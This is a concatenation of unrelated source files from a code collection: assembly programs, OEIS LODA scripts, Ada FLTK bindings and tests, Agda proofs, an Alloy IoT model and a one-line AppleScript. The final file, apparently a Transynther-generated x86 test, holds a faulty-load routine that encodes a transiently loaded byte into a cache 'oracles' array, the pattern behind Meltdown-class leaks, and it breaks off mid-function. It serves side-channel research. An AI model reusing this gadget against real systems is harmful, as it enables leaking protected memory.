EXIT: JMP START ;CONTINUOUS FUNCTIONALITY
TERMINATE:
PRINT_STR BYE
MOV AX,4C00H ;RETURN TO DOS
INT 21H
MAIN ENDP
CODE ENDS
END MAIN |
C++/dis.asm | yuxiqian/assembly-inject | 0 | 83157 | asm:
(__TEXT,__text) section
_main:
0000000100000fd0 pushq %rbp
0000000100000fd1 movq %rsp, %rbp
0000000100000fd4 subq $0x30, %rsp
0000000100000fd8 movq 0x1039(%rip), %rdi
0000000100000fdf movl $0x0, -0x4(%rbp)
0000000100000fe6 leaq 0xf5f(%rip), %rsi
0000000100000fed callq 0x100001db0
0000000100000ff2 movq 0x1017(%rip), %rdi
0000000100000ff9 leaq -0x8(%rbp), %rsi
0000000100000ffd movq %rax, -0x18(%rbp)
0000000100001001 callq 0x100001d74
0000000100001006 movq %rax, %rdi
0000000100001009 leaq -0xc(%rbp), %rsi
000000010000100d callq 0x100001d74
0000000100001012 movq 0xfff(%rip), %rdi
0000000100001019 movl -0x8(%rbp), %ecx
000000010000101c addl -0xc(%rbp), %ecx
000000010000101f movl %ecx, -0x10(%rbp)
0000000100001022 leaq 0xf35(%rip), %rsi
0000000100001029 movq %rax, -0x20(%rbp)
000000010000102d callq 0x100001db0
0000000100001032 movl -0x10(%rbp), %esi
0000000100001035 movq %rax, %rdi
0000000100001038 callq 0x100001d92
000000010000103d movq %rax, %rdi
0000000100001040 leaq 0x89(%rip), %rsi
0000000100001047 callq 0x1000010b0
000000010000104c xorl %ecx, %ecx
000000010000104e movq %rax, -0x28(%rbp)
0000000100001052 movl %ecx, %eax
0000000100001054 addq $0x30, %rsp
0000000100001058 popq %rbp
0000000100001059 retq
000000010000105a nopw (%rax,%rax) |
3d/instance.asm | osgcc/descent-pc | 3 | 14452 | ;THE COMPUTER CODE CONTAINED HEREIN IS THE SOLE PROPERTY OF PARALLAX
;SOFTWARE CORPORATION ("PARALLAX"). PARALLAX, IN DISTRIBUTING THE CODE TO
;END-USERS, AND SUBJECT TO ALL OF THE TERMS AND CONDITIONS HEREIN, GRANTS A
;ROYALTY-FREE, PERPETUAL LICENSE TO SUCH END-USERS FOR USE BY SUCH END-USERS
;IN USING, DISPLAYING, AND CREATING DERIVATIVE WORKS THEREOF, SO LONG AS
;SUCH USE, DISPLAY OR CREATION IS FOR NON-COMMERCIAL, ROYALTY OR REVENUE
;FREE PURPOSES. IN NO EVENT SHALL THE END-USER USE THE COMPUTER CODE
;CONTAINED HEREIN FOR REVENUE-BEARING PURPOSES. THE END-USER UNDERSTANDS
;AND AGREES TO THE TERMS HEREIN AND ACCEPTS THE SAME BY USE OF THIS FILE.
;COPYRIGHT 1993-1998 PARALLAX SOFTWARE CORPORATION. ALL RIGHTS RESERVED.
;
; $Source: f:/miner/source/3d/rcs/instance.asm $
; $Revision: 1.8 $
; $Author: matt $
; $Date: 1994/07/29 18:16:16 $
;
; Code for handling instanced 3d objects
;
; $Log: instance.asm $
; Revision 1.8 1994/07/29 18:16:16 matt
; Added instance by angles, and corrected parms for g3_init()
;
; Revision 1.7 1994/07/25 00:00:02 matt
; Made 3d no longer deal with point numbers, but only with pointers.
;
; Revision 1.6 1994/06/16 17:52:31 matt
; If NULL passed for instance matrix, don't rotate (just do offset)
;
; Revision 1.5 1994/06/01 18:10:22 matt
; Fixed register trash in g3_start_instance_matrix()
;
; Revision 1.4 1994/03/25 17:09:20 matt
; Increase MAX_INSTANCE_DEPTH to 5 (from 3)
;
; Revision 1.3 1994/02/10 18:00:43 matt
; Changed 'if DEBUG_ON' to 'ifndef NDEBUG'
;
; Revision 1.2 1994/01/24 14:08:45 matt
; Added code to this previously dull file
;
; Revision 1.1 1994/01/23 15:22:52 matt
; Initial revision
;
;
.386
option oldstructs
.nolist
include types.inc
include psmacros.inc
include vecmat.inc
include 3d.inc
.list
assume cs:_TEXT, ds:_DATA
_DATA segment dword public USE32 'DATA'
rcsid db "$Id: instance.asm 1.8 1994/07/29 18:16:16 matt Exp $"
align 4
MAX_INSTANCE_DEPTH equ 5
inst_context_size equ ((size vms_matrix) + (size vms_vector))
instance_stack db MAX_INSTANCE_DEPTH*inst_context_size dup (?)
instance_depth dd 0
tempv vms_vector <>
tempm vms_matrix <>
tempm2 vms_matrix <>
instmat vms_matrix <>
_DATA ends
_TEXT segment dword public USE32 'CODE'
;start instancing, using angles (called vm_angles_2_matrix)
;takes esi=position, edi=angvec. trashes esi,edi
;if angles==NULL, don't modify matrix. This will be like doing an offset
g3_start_instance_angles:
or edi,edi
jz g3_start_instance_matrix ;no new matrix
push esi
mov esi,edi
lea edi,instmat
call vm_angles_2_matrix
pop esi
; fall g3_start_instance_matrix
;start instancing, using a matrix
;takes esi=position, edi=matrix. trashes esi,edi
;if matrix==NULL, don't modify matrix. This will be like doing an offset
g3_start_instance_matrix:
pushm eax,ebx,ecx
push edi ;save matrix
push esi ;save position
;save current context
mov eax,instance_depth
inc instance_depth
ifndef NDEBUG
cmp eax,MAX_INSTANCE_DEPTH
break_if e,'Already at max depth'
endif
imul eax,inst_context_size
lea edi,instance_stack[eax]
lea esi,View_position
mov ecx,3
rep movsd
lea esi,View_matrix
mov ecx,9
rep movsd
;step 1: subtract object position from view position
pop esi ;object position
lea edi,View_position
call vm_vec_sub2
;step 2: rotate view vector through object matrix
pop edi ;get object matrix
or edi,edi ;null matrix?
jz no_inst_matrix
lea esi,View_position
lea eax,tempv
call vm_vec_rotate
vm_copy esi,eax,ebx
;step 3: rotate object matrix through view_matrix (vm = ob * vm)
mov esi,edi ;object matrix
lea edi,tempm2
call vm_copy_transpose_matrix
lea esi,tempm2
lea edi,View_matrix
lea eax,tempm
call vm_matrix_x_matrix
mov esi,eax
mov ecx,9
rep movsd
no_inst_matrix:
;now we are done!
popm eax,ebx,ecx
ret
;we are done instancing
g3_done_instance: pushm eax,ecx,esi,edi
dec instance_depth
break_if s,'Instance stack underflow!'
mov eax,instance_depth
imul eax,inst_context_size
lea esi,instance_stack[eax]
lea edi,View_position
mov ecx,3
rep movsd
lea edi,View_matrix
mov ecx,9
rep movsd
popm eax,ecx,esi,edi
ret
_TEXT ends
end
|
SE-1/MAC/Assign12/gtdr.asm | Adityajn/College-Codes | 1 | 169114 | %macro print 2
push rax
push rbx
push rcx
push rdx
mov eax,4
mov ebx,1
mov ecx,%1
mov edx,%2
int 80h
pop rdx
pop rcx
pop rbx
pop rax
%endmacro
section .data
msg db "Base address is:",20h
msglen equ $-msg
msg2 db "Limit is:",20h
msg2len equ $-msg2
imsg db "Contents of IDTR are :",20h
imsgl equ $-imsg
gmsg db "Contents of GDTR are :",20h
gmsgl equ $-gmsg
lmsg db "Contents of LDTR are :",20h
lmsgl equ $-lmsg
tmsg db "Contents of TR are :",20h
tmsgl equ $-tmsg
smsg db "Contents of MSW are :",20h
smsgl equ $-smsg
nl db 10
nllen equ $-nl
section .bss
buff64 resq 1
buff16 resw 1
result1 resb 16
result2 resb 4
temp1 resq 1
temp2 resw 1
section .text
global _start
_start:
print gmsg,gmsgl
print nl,nllen
print msg,msglen
mov esi,buff64
sgdt [esi] ;contents of gdtr are stored in sgdt
mov r8,[esi]
call disp64
print nl,nllen
print msg2,msg2len
mov esi,buff16
mov bx,[esi]
call disp16
print nl,nllen
print imsg,imsgl
print nl,nllen
print msg,msglen
mov esi,buff64
sidt [esi] ;contents of idtr are stored in sidt
mov r8,[esi]
call disp64
print nl,nllen
print msg2,msg2len
mov esi,buff16
mov bx,[esi]
call disp16
print nl,nllen
print lmsg,lmsgl
print nl,nllen
mov esi,buff16
sldt [esi] ;contents of ldtr are stored in sldt
mov bx,[esi]
call disp16
print nl,nllen
print tmsg,tmsgl
print nl,nllen
mov esi,buff16
str [esi] ;contents of tr are stored in str
mov bx,[esi]
call disp16
print nl,nllen
print smsg,smsgl
print nl,nllen
mov esi,buff16
smsw [esi] ;contents of MSW are stored in smsw
mov bx,[esi]
call disp16
print nl,nllen
mov eax,1
mov ebx,0
int 80h
disp64:
mov edi,result1
mov cl,10h
again: rol r8,4
mov [temp1],r8
and r8,0FH
cmp r8b,09
jbe skip
add r8b,07h
skip: add r8b,30H
mov [edi],r8b
inc edi
mov r8,[temp1]
dec cl
jnz again
print result1,16
ret
disp16:
mov edi,result2
mov cl,4
again2: rol bx,4
mov [temp2],bx
and bx,0FH
cmp bl,09
jbe skip2
add bl,07h
skip2: add bl,30H
mov [edi],bl
inc edi
mov bx,[temp2]
dec cl
jnz again2
print result2,4
ret
|
oeis/209/A209197.asm | neoneye/loda-programs | 11 | 102701 | <reponame>neoneye/loda-programs<filename>oeis/209/A209197.asm
; A209197: Column 1 of triangle A209196.
; Submitted by <NAME>(s1)
; 1,4,32,487,11113,335745,12607257,565877928,29553415078,1760584360722,117828762999498,8752769915058447,714626485356930711,63609663369881873031,6130647517448380412727,636052622643842997577302,70679525819378610579659532,8375262433274665594692923984
lpb $0
mov $2,$0
add $2,2
mul $2,$0
bin $2,$0
sub $0,1
add $3,$2
lpe
mov $0,$3
add $0,1
|
programs/oeis/071/A071816.asm | jmorken/loda | 1 | 163621 | ; A071816: Number of ordered solutions to x+y+z = u+v+w, 0 <= x, y, z, u, v, w < n.
; 1,20,141,580,1751,4332,9331,18152,32661,55252,88913,137292,204763,296492,418503,577744,782153,1040724,1363573,1762004,2248575,2837164,3543035,4382904,5375005,6539156,7896825,9471196,11287235,13371756,15753487,18463136,21533457,24999316,28897757,33268068,38151847,43593068,49638147,56336008,63738149,71898708,80874529,90725228,101513259,113303980,126165719,140169840,155390809,171906260,189797061,209147380,230044751,252580140,276848011,302946392,330976941,361045012,393259721,427734012,464584723,503932652,545902623,590623552,638228513,688854804,742644013,799742084,860299383,924470764,992415635,1064298024,1140286645,1220554964,1305281265,1394648716,1488845435,1588064556,1692504295,1802368016,1917864297,2039206996,2166615317,2300313876,2440532767,2587507628,2741479707,2902695928,3071408957,3247877268,3432365209,3625143068,3826487139,4036679788,4256009519,4484771040,4723265329,4971799700,5230687869,5500250020,5780812871,6072709740,6376280611,6691872200,7019838021,7360538452,7714340801,8081619372,8462755531,8858137772,9268161783,9693230512,10133754233,10590150612,11062844773,11552269364,12058864623,12583078444,13125366443,13686192024,14266026445,14865348884,15484646505,16124414524,16785156275,17467383276,18171615295,18898380416,19648215105,20421664276,21219281357,22041628356,22889275927,23762803436,24662799027,25589859688,26544591317,27527608788,28539536017,29581006028,30652661019,31755152428,32889140999,34055296848,35254299529,36486838100,37753611189,39055327060,40392703679,41766468780,43177359931,44626124600,46113520221,47640314260,49207284281,50815218012,52464913411,54157178732,55892832591,57672704032,59497632593,61368468372,63286072093,65251315172,67265079783,69328258924,71441756483,73606487304,75823377253,78093363284,80417393505,82796427244,85231435115,87723399084,90273312535,92882180336,95551018905,98280856276,101072732165,103927698036,106846817167,109831164716,112881827787,115999905496,119186509037,122442761748,125769799177,129168769148,132640831827,136187159788,139808938079,143507364288,147283648609,151139013908,155074695789,159091942660,163192015799,167376189420,171645750739,176002000040,180446250741,184979829460,189604076081,194320343820,199129999291,204034422572,209035007271,214133160592,219330303401,224627870292,230027309653,235530083732,241137668703,246851554732,252673246043,258604260984,264646132093,270800406164,277068644313,283452422044,289953329315,296572970604,303312964975,310174946144,317160562545,324271477396,331509368765,338875929636,346372867975,354001906796,361764784227,369663253576,377699083397,385874057556,394189975297,402648651308,411251915787,420001614508,428899608887,437947776048,447148008889,456502216148,466012322469,475680268468,485508010799,495497522220,505650791659,515969824280,526456641549,537113281300
mov $1,3
lpb $0
mov $2,$0
cal $2,70302 ; Number of 3 X 3 X 3 magic cubes with sum 3n.
sub $0,1
add $1,$2
lpe
add $1,4
mul $1,61
sub $1,427
div $1,61
add $1,1
|
src/fltk-widgets-menus-menu_buttons.ads | micahwelf/FLTK-Ada | 1 | 29870 |
with
FLTK.Menu_Items;
package FLTK.Widgets.Menus.Menu_Buttons is
type Menu_Button is new Menu with private;
type Menu_Button_Reference (Data : access Menu_Button'Class) is limited null record
with Implicit_Dereference => Data;
-- signifies which mouse buttons cause the menu to appear
type Popup_Buttons is (No_Popup, Popup1, Popup2, Popup12, Popup3, Popup13, Popup23, Popup123);
package Forge is
function Create
(X, Y, W, H : in Integer;
Text : in String)
return Menu_Button;
end Forge;
procedure Set_Popup_Kind
(This : in out Menu_Button;
Pop : in Popup_Buttons);
function Popup
(This : in out Menu_Button)
return FLTK.Menu_Items.Menu_Item;
procedure Draw
(This : in out Menu_Button);
function Handle
(This : in out Menu_Button;
Event : in Event_Kind)
return Event_Outcome;
private
type Menu_Button is new Menu with null record;
overriding procedure Finalize
(This : in out Menu_Button);
pragma Inline (Set_Popup_Kind);
pragma Inline (Popup);
pragma Inline (Draw);
pragma Inline (Handle);
end FLTK.Widgets.Menus.Menu_Buttons;
|
LP/Observations.agda | hbasold/Sandbox | 0 | 247 | <filename>LP/Observations.agda
open import Signature
import Program
module Observations (Σ : Sig) (V : Set) (P : Program.Program Σ V) where
open import Terms Σ
open import Program Σ V
open import Rewrite Σ V P
open import Function
open import Relation.Nullary
open import Relation.Unary
open import Data.Product as Prod renaming (Σ to ⨿)
open import Streams hiding (_↓_)
-- | We will need _properly refining_ substitutions: σ properly refines t ∈ T V,
-- if ∀ v ∈ fv(t). σ(v) = f(α) for f ∈ Σ.
-- Then an observation step must go along a properly refining substitution,
-- which in turn allows us to construct a converging sequence of terms.
{- |
We can make an observation according to the following rule.
t ↓ s fv(s) ≠ ∅ ∃ k, σ. s ~[σ]~ Pₕ(k)
--------------------------------------------
t ----> t[σ]
-}
data _↦_ (t : T V) : T V → Set where
obs-step : {s : T V} → t ↓ s → -- ¬ Empty (fv s) →
(cl : dom P) {σ : Subst V V} →
ProperlyRefining t σ → mgu s (geth P cl) σ →
t ↦ app σ t
reduct : ∀{t s} → t ↦ s → T V
reduct (obs-step {s} _ _ _ _ ) = s
refining : ∀{t s} → t ↦ s → Subst V V
refining (obs-step _ _ {σ} _ _) = σ
is-refining : ∀{t s} (o : t ↦ s) → ProperlyRefining t (refining o)
is-refining (obs-step _ _ r _) = r
GroundTerm : Pred (T V) _
GroundTerm t = Empty (fv t)
--------
-- FLAW: This does not allow us to distinguish between inductive
-- and coinductive definitions on the clause level.
-- The following definitions are _global_ for a derivation!
-------
data IndDerivable (t : T V) : Set where
ground : GroundTerm t → Valid t → IndDerivable t
der-step : (s : T V) → t ↦ s → IndDerivable s → IndDerivable t
record CoindDerivable (t : T V) : Set where
coinductive
field
term-SN : SN t
der-obs : ⨿ (T V) λ s → t ↦ s × CoindDerivable s
open CoindDerivable public
obs-result : ∀{t} → CoindDerivable t → T V
obs-result = proj₁ ∘ der-obs
get-obs : ∀{t} (d : CoindDerivable t) → t ↦ (obs-result d)
get-obs = proj₁ ∘ proj₂ ∘ der-obs
-- | This should give us convergence to a term in T∞ V, see Terms.agda
coind-deriv-seq : (t : T V) → CoindDerivable t → ProperlyRefiningSeq t
hd-ref (coind-deriv-seq t d) = refining (get-obs d)
hd-is-ref (coind-deriv-seq t d) = is-refining (get-obs d)
tl-ref (coind-deriv-seq t d) with (der-obs d)
tl-ref (coind-deriv-seq t d) | ._ , obs-step red cl {σ} ref _ , d' =
coind-deriv-seq (app σ t) d'
|
_anim/Harpoon.asm | kodishmediacenter/msu-md-sonic | 9 | 20293 | <reponame>kodishmediacenter/msu-md-sonic
; ---------------------------------------------------------------------------
; Animation script - harpoon (LZ)
; ---------------------------------------------------------------------------
Ani_Harp: dc.w @h_extending-Ani_Harp
dc.w @h_retracting-Ani_Harp
dc.w @v_extending-Ani_Harp
dc.w @v_retracting-Ani_Harp
@h_extending: dc.b 3, 1, 2, afRoutine
@h_retracting: dc.b 3, 1, 0, afRoutine
@v_extending: dc.b 3, 4, 5, afRoutine
@v_retracting: dc.b 3, 4, 3, afRoutine
even |
alloy4fun_models/trashltl/models/5/jYnrdTBB9iPpAzkPk.als | Kaixi26/org.alloytools.alloy | 0 | 2813 | <gh_stars>0
open main
pred idjYnrdTBB9iPpAzkPk_prop6 {
eventually (all f: Trash | always f in Trash)
}
pred __repair { idjYnrdTBB9iPpAzkPk_prop6 }
check __repair { idjYnrdTBB9iPpAzkPk_prop6 <=> prop6o } |
FormalAnalyzer/models/apps/NotifyWhenLeftOpen.als | Mohannadcse/IoTCOM_BehavioralRuleExtractor | 0 | 4529 | <reponame>Mohannadcse/IoTCOM_BehavioralRuleExtractor
module app_NotifyWhenLeftOpen
open IoTBottomUp as base
open cap_runIn
open cap_now
open cap_contactSensor
one sig app_NotifyWhenLeftOpen extends IoTApp {
contactSensor : one cap_contactSensor,
state : one cap_state,
} {
rules = r
//capabilities = contactSensor + state
}
one sig cap_state extends cap_runIn {} {
attributes = cap_state_attr + cap_runIn_attr
}
abstract sig cap_state_attr extends Attribute {}
abstract sig r extends Rule {}
one sig r0 extends r {}{
triggers = r0_trig
conditions = r0_cond
commands = r0_comm
}
abstract sig r0_trig extends Trigger {}
one sig r0_trig0 extends r0_trig {} {
capabilities = app_NotifyWhenLeftOpen.contactSensor
attribute = cap_contactSensor_attr_contact
no value
}
abstract sig r0_cond extends Condition {}
one sig r0_cond0 extends r0_cond {} {
capabilities = app_NotifyWhenLeftOpen.contactSensor
attribute = cap_contactSensor_attr_contact
value = cap_contactSensor_attr_contact_val_open
}
abstract sig r0_comm extends Command {}
one sig r0_comm0 extends r0_comm {} {
capability = app_NotifyWhenLeftOpen.state
attribute = cap_runIn_attr_runIn
value = cap_runIn_attr_runIn_val_on
}
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c3/c37411a.ada | best08618/asylo | 7 | 17977 | -- C37411A.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- OBJECTIVE:
-- CHECK THAT THE OPERATIONS OF ASSIGNMENT, COMPARISON, MEMBERSHIP
-- TESTS, QUALIFICATION, TYPE CONVERSION, 'BASE, 'SIZE AND 'ADDRESS,
-- ARE DEFINED FOR NULL RECORDS.
-- HISTORY:
-- DHH 03/04/88 CREATED ORIGINAL TEST.
-- PWN 11/30/94 REMOVED 'BASE USE ILLEGAL IN ADA 9X.
WITH SYSTEM; USE SYSTEM;
WITH REPORT; USE REPORT;
PROCEDURE C37411A IS
TYPE S IS
RECORD
NULL;
END RECORD;
SUBTYPE SS IS S;
U,V,W : S;
X : SS;
BEGIN
TEST("C37411A", "CHECK THAT THE OPERATIONS OF ASSIGNMENT, " &
"COMPARISON, MEMBERSHIP TESTS, QUALIFICATION, " &
"TYPE CONVERSION, 'BASE, 'SIZE AND 'ADDRESS, " &
"ARE DEFINED FOR NULL RECORDS");
U := W;
IF U /= W THEN
FAILED("EQUALITY/ASSIGNMENT DOES NOT PERFORM CORRECTLY");
END IF;
IF V NOT IN S THEN
FAILED("MEMBERSHIP DOES NOT PERFORM CORRECTLY");
END IF;
IF X /= SS(V) THEN
FAILED("TYPE CONVERSION DOES NOT PERFORM CORRECTLY");
END IF;
IF S'(U) /= S'(W) THEN
FAILED("QUALIFIED EXPRESSION DOES NOT PERFORM CORRECTLY");
END IF;
IF X'SIZE /= V'SIZE THEN
FAILED("'BASE'SIZE DOES NOT PERFORM CORRECTLY WHEN PREFIX " &
"IS AN OBJECT");
END IF;
IF X'ADDRESS = V'ADDRESS THEN
COMMENT("NULL RECORDS HAVE THE SAME ADDRESS");
ELSE
COMMENT("NULL RECORDS DO NOT HAVE THE SAME ADDRESS");
END IF;
RESULT;
END C37411A;
|
src/a/applescript.applescript | bee-Michi/Hello-World-Mania | 0 | 1044 | display dialog "Hello World!" |
oeis/241/A241573.asm | neoneye/loda-programs | 11 | 167652 | ; A241573: 2^p + 3 where p is prime.
; 7,11,35,131,2051,8195,131075,524291,8388611,536870915,2147483651,137438953475,2199023255555,8796093022211,140737488355331,9007199254740995,576460752303423491,2305843009213693955,147573952589676412931,2361183241434822606851,9444732965739290427395,604462909807314587353091,9671406556917033397649411,618970019642690137449562115,158456325028528675187087900675,2535301200456458802993406410755,10141204801825835211973625643011,162259276829213363391578010288131,649037107316853453566312041152515
seq $0,6005 ; The odd prime numbers together with 1.
max $0,2
mov $2,2
pow $2,$0
mov $0,$2
add $0,3
|
src/GBA.Allocation.ads | 98devin/ada-gba-dev | 7 | 27622 | -- Copyright (c) 2021 <NAME>
-- zlib License -- see LICENSE for details.
with System;
use System;
with System.Storage_Elements;
use System.Storage_Elements;
with System.Allocation.Arenas;
use System.Allocation.Arenas;
package GBA.Allocation is
pragma Elaborate_Body;
generic
Size : Storage_Count;
package Stack_Arena is
Storage : Local_Arena (Size);
end Stack_Arena;
subtype Marker is System.Allocation.Arenas.Marker;
subtype Heap_Arena is System.Allocation.Arenas.Heap_Arena;
subtype Local_Arena is System.Allocation.Arenas.Local_Arena;
function Storage_Size (Pool : Heap_Arena) return Storage_Count
renames System.Allocation.Arenas.Storage_Size;
function Storage_Size (Pool : Local_Arena) return Storage_Count
renames System.Allocation.Arenas.Storage_Size;
function Mark (Pool : Heap_Arena) return Marker
renames System.Allocation.Arenas.Mark;
function Mark (Pool : Local_Arena) return Marker
renames System.Allocation.Arenas.Mark;
procedure Release (Pool : in out Heap_Arena; Mark : Marker)
renames System.Allocation.Arenas.Release;
procedure Release (Pool : in out Local_Arena; Mark : Marker)
renames System.Allocation.Arenas.Release;
function Create_Arena (Start_Address, End_Address : Address)
return Heap_Arena renames System.Allocation.Arenas.Create_Arena;
function Create_Arena (Local_Size : SSE.Storage_Count)
return Local_Arena renames System.Allocation.Arenas.Create_Arena;
procedure Init_Arena (Pool : in out Local_Arena)
renames System.Allocation.Arenas.Init_Arena;
end GBA.Allocation; |
example/fibonacci2.asm | kumavale/vsmi | 1 | 95709 | <filename>example/fibonacci2.asm
#
# #include <stdio.h>
#
# int theArray[40];
#
# int main() {
# int n = 2;
# theArray[0] = 1;
# theArray[1] = 1;
# do {
# theArray[n] = theArray[n-1] + theArray[n-2];
# n++;
# } while (n < 40);
#
# return 0;
# }
#
#=================================================
#
# #include <stdio.h>
#
# int theArray[40];
#
# int main() {
# int t0, t1, t2, t3, t4, t5, t6, t7; /* Our "registers" */
# t6 = 1;
# t7 = 1;
# theArray[0] = t6; /* Storing the first two terms of the */
# theArray[t7] = t6; /* sequence into our array */
# t0 = 2;
# LLoop:
# t3 = t0 - 2;
# t4 = t0 - 1;
# t1 = theArray[t3];
# t2 = theArray[t4];
# t5 = t1 + t2;
# theArray[t0] = t5;
# t0 = t0 + 1;
# if (t0 < 40) goto LLoop;
# return 0;
# }
.data
theArray:
.space 160
.text
main:
li $t6, 1 # Sets t6 to 1
li $t7, 4 # Sets t7 to 4
sw $t6, theArray($0) # Sets the first term to 1
sw $t6, theArray($t7) # Sets the second term to 1
li $t0, 8 # Sets t0 to 8
loop:
addi $t3, $t0, -8
addi $t4, $t0, -4
lw $t1, theArray($t3) # Gets the last
lw $t2, theArray($t4) # two elements
add $t5, $t1, $t2 # Adds them together...
sw $t5, theArray($t0) # ...and stores the result
addi $t0, $t0, 4 # Moves to next "element" of theArray
blt $t0, 160, loop # If not past the end of theArray, repeat
exit:
li $v0, 10
syscall
# ----------------------------[ DATA ]----------------------------
# 0x00000000: 0x00000001 0x00000001 0x00000002 0x00000003
# 0x00000010: 0x00000005 0x00000008 0x0000000d 0x00000015
# 0x00000020: 0x00000022 0x00000037 0x00000059 0x00000090
# 0x00000030: 0x000000e9 0x00000179 0x00000262 0x000003db
# 0x00000040: 0x0000063d 0x00000a18 0x00001055 0x00001a6d
# 0x00000050: 0x00002ac2 0x0000452f 0x00006ff1 0x0000b520
# 0x00000060: 0x00012511 0x0001da31 0x0002ff42 0x0004d973
# 0x00000070: 0x0007d8b5 0x000cb228 0x00148add 0x00213d05
# 0x00000080: 0x0035c7e2 0x005704e7 0x008cccc9 0x00e3d1b0
# 0x00000090: 0x01709e79 0x02547029 0x03c50ea2 0x06197ecb
# 0x000000a0: 0x00000000 0x00000000 0x00000000 0x00000000
# ----------------------------------------------------------------
|
out/euler52.adb | Melyodas/metalang | 22 | 26609 |
with ada.text_io, ada.Integer_text_IO, Ada.Text_IO.Text_Streams, Ada.Strings.Fixed, Interfaces.C;
use ada.text_io, ada.Integer_text_IO, Ada.Strings, Ada.Strings.Fixed, Interfaces.C;
procedure euler52 is
type stringptr is access all char_array;
procedure PString(s : stringptr) is
begin
String'Write (Text_Streams.Stream (Current_Output), To_Ada(s.all));
end;
procedure PInt(i : in Integer) is
begin
String'Write (Text_Streams.Stream (Current_Output), Trim(Integer'Image(i), Left));
end;
function chiffre_sort(a : in Integer) return Integer is
e : Integer;
d : Integer;
c : Integer;
b : Integer;
begin
if a < 10
then
return a;
else
b := chiffre_sort(a / 10);
c := a rem 10;
d := b rem 10;
e := b / 10;
if c < d
then
return c + b * 10;
else
return d + chiffre_sort(c + e * 10) * 10;
end if;
end if;
end;
function same_numbers(a : in Integer; b : in Integer; c : in Integer; d : in Integer; e : in Integer; f : in Integer) return Boolean is
ca : Integer;
begin
ca := chiffre_sort(a);
return (((ca = chiffre_sort(b) and then ca = chiffre_sort(c)) and then ca = chiffre_sort(d)) and then ca = chiffre_sort(e)) and then ca = chiffre_sort(f);
end;
num : Integer;
begin
num := 142857;
if same_numbers(num, num * 2, num * 3, num * 4, num * 6, num * 5)
then
PInt(num);
PString(new char_array'( To_C(" ")));
PInt(num * 2);
PString(new char_array'( To_C(" ")));
PInt(num * 3);
PString(new char_array'( To_C(" ")));
PInt(num * 4);
PString(new char_array'( To_C(" ")));
PInt(num * 5);
PString(new char_array'( To_C(" ")));
PInt(num * 6);
PString(new char_array'( To_C("" & Character'Val(10))));
end if;
end;
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_21829_159.asm | ljhsiun2/medusa | 9 | 27636 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r8
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x12282, %r11
nop
mfence
movb $0x61, (%r11)
nop
add $2016, %rbx
lea addresses_UC_ht+0x15a02, %rsi
lea addresses_WT_ht+0x78d2, %rdi
sub $18276, %r8
mov $50, %rcx
rep movsq
nop
nop
nop
dec %r11
lea addresses_A_ht+0xe4c2, %r8
nop
nop
nop
add %rcx, %rcx
movw $0x6162, (%r8)
nop
nop
nop
nop
add %rcx, %rcx
lea addresses_D_ht+0xa1c2, %rsi
lea addresses_UC_ht+0x65a2, %rdi
clflush (%rdi)
nop
nop
nop
nop
sub %rbx, %rbx
mov $74, %rcx
rep movsl
nop
nop
dec %r11
lea addresses_WC_ht+0xced2, %rsi
nop
add $24210, %r8
movb (%rsi), %r12b
nop
nop
nop
nop
nop
cmp $57728, %rcx
lea addresses_UC_ht+0x1d1e2, %rsi
lea addresses_A_ht+0xb561, %rdi
nop
nop
cmp $60097, %rbx
mov $97, %rcx
rep movsl
nop
nop
nop
cmp %r11, %r11
lea addresses_normal_ht+0x9c82, %rsi
lea addresses_A_ht+0xb402, %rdi
nop
xor %r11, %r11
mov $11, %rcx
rep movsq
nop
nop
nop
nop
add %rsi, %rsi
lea addresses_A_ht+0x19bda, %rsi
lea addresses_UC_ht+0xc682, %rdi
nop
nop
nop
nop
nop
xor %r10, %r10
mov $16, %rcx
rep movsw
nop
inc %rsi
lea addresses_WC_ht+0x6ab2, %rsi
lea addresses_D_ht+0x7e82, %rdi
nop
nop
nop
nop
sub %r10, %r10
mov $58, %rcx
rep movsq
cmp $33077, %rsi
lea addresses_D_ht+0x1d342, %rdi
nop
nop
nop
nop
nop
dec %r8
movl $0x61626364, (%rdi)
nop
nop
nop
nop
nop
xor %rdi, %rdi
lea addresses_D_ht+0x15b82, %rsi
lea addresses_WT_ht+0x9f36, %rdi
nop
nop
xor $2465, %r8
mov $38, %rcx
rep movsw
nop
nop
cmp %r10, %r10
lea addresses_normal_ht+0x19682, %rdi
nop
nop
xor %r11, %r11
mov (%rdi), %ebx
add $51347, %rdi
lea addresses_WC_ht+0x12682, %rsi
lea addresses_D_ht+0xf4f9, %rdi
nop
inc %rbx
mov $115, %rcx
rep movsq
nop
nop
nop
nop
nop
and %rbx, %rbx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r8
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r8
push %r9
push %rbp
push %rdx
// Store
lea addresses_WT+0x176cc, %r14
nop
add $43079, %r8
mov $0x5152535455565758, %rbp
movq %rbp, %xmm1
movups %xmm1, (%r14)
nop
sub %r13, %r13
// Faulty Load
lea addresses_D+0xde82, %r14
nop
nop
nop
nop
xor $65197, %r9
movb (%r14), %r8b
lea oracles, %r13
and $0xff, %r8
shlq $12, %r8
mov (%r13,%r8,1), %r8
pop %rdx
pop %rbp
pop %r9
pop %r8
